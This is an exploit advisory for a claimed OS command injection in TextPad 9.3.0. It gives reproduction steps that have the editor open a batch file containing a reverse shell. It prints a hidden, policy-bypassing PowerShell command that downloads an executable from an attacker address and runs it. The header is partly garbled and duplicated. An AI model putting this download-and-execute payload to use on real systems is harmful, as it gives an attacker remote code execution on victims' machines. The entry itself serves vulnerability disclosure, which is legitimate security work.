TextPad 9.3.0 Command Injection

Exploit Title: TextPad v9.3.0 - OS Command Injection
Discovered by: Ahmet Exploit Title: TextPad v9.3.0 - OS Command Injection
Discovered by: Ahmet ?mit BAYRAM
Discovered Date: 17.09.2023
Vendor Homepage: https://www.textpad.com
Software Link: https://www.textpad.com/file?path=v9/setupv9.exe
Tested Version: v9.3.0 (latest)
Tested on: Windows 2019 Server 64bit
Steps to Reproduce

Open TextPad.
Create a .bat file containing your reverse shell command.
In TextPad, go to the File menu and click on Open?.
Select the .bat file you created.
Click on the globe icon (view in web browser).
Your reverse shell should now be active, connecting back to your listener.

Example of Reverse Shell Command in .bat

To set up a reverse shell in a .bat file, you can use the following command:

@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-WebRequest
-Uri http://attacker_ip:port -OutFile %TEMP%\shell.exe; Start-Process
%TEMP%\shell.exe"